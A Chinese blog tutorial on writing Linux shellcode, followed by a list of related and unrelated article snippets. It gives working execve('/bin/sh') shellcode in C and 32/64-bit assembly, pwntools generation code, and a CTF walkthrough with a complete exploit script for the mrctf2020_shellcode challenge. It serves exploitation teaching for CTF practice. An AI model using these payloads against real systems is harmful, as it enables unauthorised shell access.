shellcode编写
shellcode编写
shellcode是一段用于利用软件漏洞而执行的代码,通常使用机器语言编写,其目的往往是让攻击者获得目标机器的命令行shell而得名,其他有类似功能的代码也可以称为shellcode。
简单的shellcode
最简单的shellcode就是直接用C语言system函数来调用/bin/sh
,代码如下:
# include <stdlib.h>
# include <unistd.h>
int main(void)
{
system("/bin/sh");
return 0;
}
编译上述代码生成可执行文件,运行可执行文件便可以获得机器的shell。
上面是用C语言写的,用汇编语言也可以实现。具体思路就是设置好各个寄存器的值,然后触发内中断,执行系统调用。
这里简单介绍一下中断,补充一下背景知识。
对于任何一个通用的CPU,都具备一种能力,可以在执行完当前正在执行的指令之后,检测到从CPU外部发送过来的(外中断)或CPU内部产生的(内中断)一种特殊信息,并且可以立即对所接收到的信息进行处理。这种特殊的信息被称为“中断信息”。中断的意思是指CPU不再接着刚执行完的指令向下执行,而是去处理这个特殊信息。
CPU的内中断有四种情况:(1)除法错误;(2)单步执行;(3)执行into指令;(4)执行int指令。
int指令的格式为:int n
,n为中断类型码。CPU执行int n
,相当于引发一个n号中断的过程。int 0x80
表示引发0x80号中断,而0x80号中断就是系统调用,具体是哪个系统调用,就看寄存器EAX的值,这个值就是系统调用编号。在32位程序中,execve对应的系统调用编号是0xb;在64位程序中,execve对应的系统调用编号是0x3b。关于中断的详细信息可以查阅王爽老师的《汇编语言》,关于系统调用的详细信息可以参考你真的知道什么是系统调用吗?和操作系统(linux0.11)的系统调用。
32位的shellcode命名为shell32.asm
,需要:(1)设置ebx指向/bin/sh(2)ecx=0,edx=0(3)eax=0xb(4)int 0x80触发中断。
global _start
_start:
push "/sh"
push "/bin"
mov ebx, esp ;;ebx="/bin/sh"
xor edx, edx ;;edx=0
xor ecx, ecx ;;ecx=0
mov al, 0xb ;;设置al=0xb,对应系统调用execve
int 0x80
用命令nasm -f elf32 shell32.asm -o shell32.o
编译得到shell32.o
,用命令ld -m elf_i386 shell32.o -o shell32
链接得到shell32
,运行即可使用shell。
64位的shellcode命名为shell64.asm
,需要:(1)设置rdi指向/bin/sh(2)rsi=0,rdx=0(3)rax=0x3b(4)syscall 进行系统调用。注意,64位不再用int 0x80
触发中断,而是直接用syscall
进行系统调用。
global _start
_start:
mov rbx, '/bin/sh'
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall
用命令nasm -f elf64 shell64.asm -o shell64.o
编译得到shell64.o
,用命令ld -m x86_64 shell64.o -o shell64
链接得到shell64
,运行即可使用shell。
用pwntools快速生成shellcode
在pwn工具准备一文中介绍了pwntools的安装,这是一个python的包,也是解决pwn题强有力的武器。
生成32位shellcode的python代码:
from pwn import*
context(log_level = 'debug', arch = 'i386', os = 'linux')
shellcode=asm(shellcraft.sh())
生成64位shellcode的python代码:
from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())
context
用来设置运行时全局变量,比如体系结构、操作系统等。
shellcraft
用来生成指定体系结构和操作系统下的shellcode,如果没有在context设置全局运行时变量,还可以将shellcraft.sh()
完整写成shellcraft.i386.linux.sh()
。
asm
用来生成汇编和反汇编代码,体系结构、操作系统等参数可以通过context
来设定,也可以在asm
中参数的形式设定。上面的代码如果没有asm()
也可以得到正常的结果,但是会显式的直接写出\n
,而不是将其识别为换行。
运行上面的python代码就可以生成指定的shellcode。
shellcode实战
看一道简单的题mrctf2020_shellcode,首先用checksec mrctf2020_shellcode
查看一下格式和保护,结果表明这是一个64位的程序,没有开启栈溢出保护和NX保护,有可读可写可执行的栈。
然后用sudo chmod +x mrctf2020_shellcode
添加可执行权限,执行一下看看情况。
接着将程序拖到IDA Pro 64位中,或者用gdb调试,得到的汇编代码如下:
0x555555555159 <main+4> sub rsp, 0x410
0x555555555160 <main+11> mov rax, qword ptr [rip + 0x2ec9] <stdin@@GLIBC_2.2.5>
0x555555555167 <main+18> mov esi, 0
0x55555555516c <main+23> mov rdi, rax
0x55555555516f <main+26> call setbuf@plt <setbuf@plt>
0x555555555174 <main+31> mov rax, qword ptr [rip + 0x2ea5] <stdout@@GLIBC_2.2.5>
0x55555555517b <main+38> mov esi, 0
0x555555555180 <main+43> mov rdi, rax
0x555555555183 <main+46> call setbuf@plt <setbuf@plt>
0x555555555188 <main+51> mov rax, qword ptr [rip + 0x2eb1] <stderr@@GLIBC_2.2.5>
0x55555555518f <main+58> mov esi, 0
0x555555555194 <main+63> mov rdi, rax
0x555555555197 <main+66> call setbuf@plt <setbuf@plt>
0x55555555519c <main+71> lea rdi, [rip + 0xe61]
0x5555555551a3 <main+78> call puts@plt <puts@plt>
0x5555555551a8 <main+83> lea rax, [rbp - 0x410]
0x5555555551af <main+90> mov edx, 0x400
0x5555555551b4 <main+95> mov rsi, rax
0x5555555551b7 <main+98> mov edi, 0
0x5555555551bc <main+103> mov eax, 0
0x5555555551c1 <main+108> call read@plt <read@plt>
0x5555555551c6 <main+113> mov dword ptr [rbp - 4], eax
0x5555555551c9 <main+116> cmp dword ptr [rbp - 4], 0
0x5555555551cd <main+120> jg main+129 <main+129>
0x5555555551d6 <main+129> lea rax, [rbp - 0x410]
0x5555555551dd <main+136> call rax
0x5555555551df <main+138> mov eax, 0
这段代码比较简单,可以直接分析一下。首先是sub rsp, 0x410
是为局部变量开辟空间,接着依次调用了stdin
、stdout
、stderr
,然后调用puts
在屏幕上打印Show me your magic!
。重点是接下来的部分,可以看到调用了read
函数,该函数有三个参数,第一个参数表示要读的信息的来源,第二个参数表示存放读入信息的缓冲区,第三个参数表示读的信息的字节数。在C语言函数调用栈中介绍了64位程序中函数调用优先使用寄存器传参,所以edx传入的是第三个参数,rsi传入的是第二个参数,edi传入的第一个参数,表明要读入0x400个字节的数据,存放数据的缓冲区地址是rbp-0x410
,从标准输入中读取数据,函数调用的返回值存放在eax寄存器中,read
函数的返回值是实际读取的字节数,所以接下来的语句是将实际读取的字节数存入rbp-4
的位置,将这个值与0比较,如果大于0(即实际读取的字节数大于0),则跳转到<main+129>的地方执行,将rbp-0x410
的值传给rax,然后call rax
意味着以rax寄存器存放值为地址,跳转到该处执行接下来的指令。实际上,rbp-0x410
就是read
函数缓冲区开始的地方,换句话说,这个程序的作用就是将read
读取的数据当成指令来执行,如果向程序输入的数据是获取shell的指令,那么我们就可以获取shell了。我们可以用pwntools来构建shellcode,然后发送给程序。
from pwn import *
context(os = 'linux',arch = 'amd64') # checksec告诉我们这是64位程序
p = process('./mrctf2020_shellcode') # 启动进程
shellcode = shellcraft.sh() # 生成shellcode
payload = asm(shellcode) # 构建payload
p.send(payload) # 向进程发送payload
# gdb.attach(p) # 在新终端中用gdb调试进程
p.interactive() # 与进程交互
参考资料
星盟安全团队课程:https://www.bilibili.com/video/BV1Uv411j7fr
CTF竞赛权威指南(Pwn篇)(杨超 编著,吴石 eee战队 审校,电子工业出版社)
汇编语言(第3版)(王爽 著,清华大学出版社)
pwntools官方文档:http://docs.pwntools.com/en/latest/
shellcode编写的更多相关文章
- 二、Windows 下 ShellCode 编写初步
第二章.Windows 下 ShellCode 编写初步 (一)shellcode 定义:最先的 Shell 指的是人机交互界面,ShellCode 是一组能完成我们想要的功能的机器代码,通常以十六进 ...
- PWN 菜鸡入门之 shellcode编写 及exploid-db用法示例
下面我将参考其他资料来一步步示范shellcode的几种编写方式 0x01 系统调用 通过系统调用execve函数返回shell C语言实现: #include<unistd.h> #in ...
- 简单shellcode编写
0x00 介绍 Shellcode 是指经过精心设计的一串指令,一旦注入正在运行的应用程序中即可运行,常用于栈和基于堆的溢出.术语Shellcode意思指的便是用于启动一个命令Shell的已编写好的可 ...
- 网络安全(超级详细)零基础带你一步一步走进缓冲区溢出漏洞和shellcode编写!
零基础带你走进缓冲区溢出,编写shellcode. 写在前面的话:本人是以一个零基础者角度来带着大家去理解缓冲区溢出漏洞,当然如果你是开发者更好. 注:如果有转载请注明出处!创作不易.谢谢合作. 0. ...
- 缓冲区溢出利用与ShellCode编写
一.实验目的 熟悉编写shellCode的流程 掌握缓冲区溢出的利用 二.实验环境 系统环境:Windows环境 软件环境:C++ ,缓冲区溢出文件链接 三.实验原理 要实施一次有效的缓冲区溢出攻击, ...
- Linux下shellcode的编写
Linux下shellcode的编写 来源 https://xz.aliyun.com/t/2052 EdvisonV / 2018-02-14 22:00:42 / 浏览数 6638 技术文章 技 ...
- 编写X86的ShellCode
ShellCode 定义 ShellCode是不依赖环境,放到任何地方都能够执行的机器码 编写ShellCode的方式有两种,分别是用编程语言编写或者用ShellCode生成器自动生成 ShellCo ...
- 【笔记】shellcode相关整理
0x01:shellcode定义 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.另外,Shellcode一般是作为数据发送给受攻击服务器 ...
- Shellcode入门
Shellcode入门 一.shellcode基础知识 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.另外,Shellcode一般是作为 ...
随机推荐
- ES6-11学习笔记--类与继承
ES5 中的类与继承: 类的定义: function People(name, age) { // this指向当前实例化对象 console.log(this); // 实例属性 this.name ...
- 我的python学习记_02
流程控制 算术运算符: + 加(在字符串中拼接作用) - 减 * 乘 / 除 // 商 % 取余 ** 次幂 比较运算符: > 是否大于 >= 是否大于等于 < 是否小于 != 是否 ...
- jsp+servlet上传excel并将数据导入到数据库表的实现方法
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding= ...
- 类其中的变量为final时的用法
类其中的变量为final时的用法: 类当中final变量没有初始缺省值,必须在构造函数中赋值或直接当时赋值.否则报错. public class Test { final int i; ...
- PostgreSQL执行计划:Bitmap scan VS index only scan
之前了解过postgresql的Bitmap scan,只是粗略地了解到是通过标记数据页面来实现数据检索的,执行计划中的的Bitmap scan一些细节并不十分清楚.这里借助一个执行计划来分析bitm ...
- 攻防世界——gif
分析 只有黑白两种颜色,大小均一样.考虑代表着二进制. python脚本 ''' 同样颜色的图片的二进制数据都相同 编写思路:取二进制 -> 转ascii码 ''' white = open(r ...
- 线程的概念及Thread模块的使用
线程 一.什么是线程? 我们可以把进程理解成一个资源空间,真正被CPU执行的就是进程里的线程. 一个进程中最少会有一条线程,同一进程下的每个线程之间资源是共享的. 二.开设线程的两种方式 开设进程需要 ...
- C#+Access 员工信息管理--简单的增删改查操作和.ini配置文件的读写操作。
1.本程序的使用的语言是C#,数据库是Access2003.主要是对员工信息进行简单的增删改查操作和对.ini配置文件的读写操作. 2.代码运行效果如下: 功能比较简单.其中在得到查询结果后,在查询结 ...
- 『忘了再学』Shell基础 — 11、变量定义的规则和分类
目录 1.定义变量的规则 2.变量的分类 1.定义变量的规则 在定义变量时,有一些规则需要遵守 变量名称可以由字母.数字和下划线组成,但是不能以数字开头.如果变量名是2name则是错误的. 在Bash ...
- ArcGIS使用技巧(三)——关于投影
新手,若有错误还请指正! 简单记录一下自己所理解的ArcGIS中的有关投影的知识点. 在数据处理过程中,基本都是需要将相关数据放在同一投影坐标系下,需要用到投影转换工具,但若有的数据没有坐标信息,则首 ...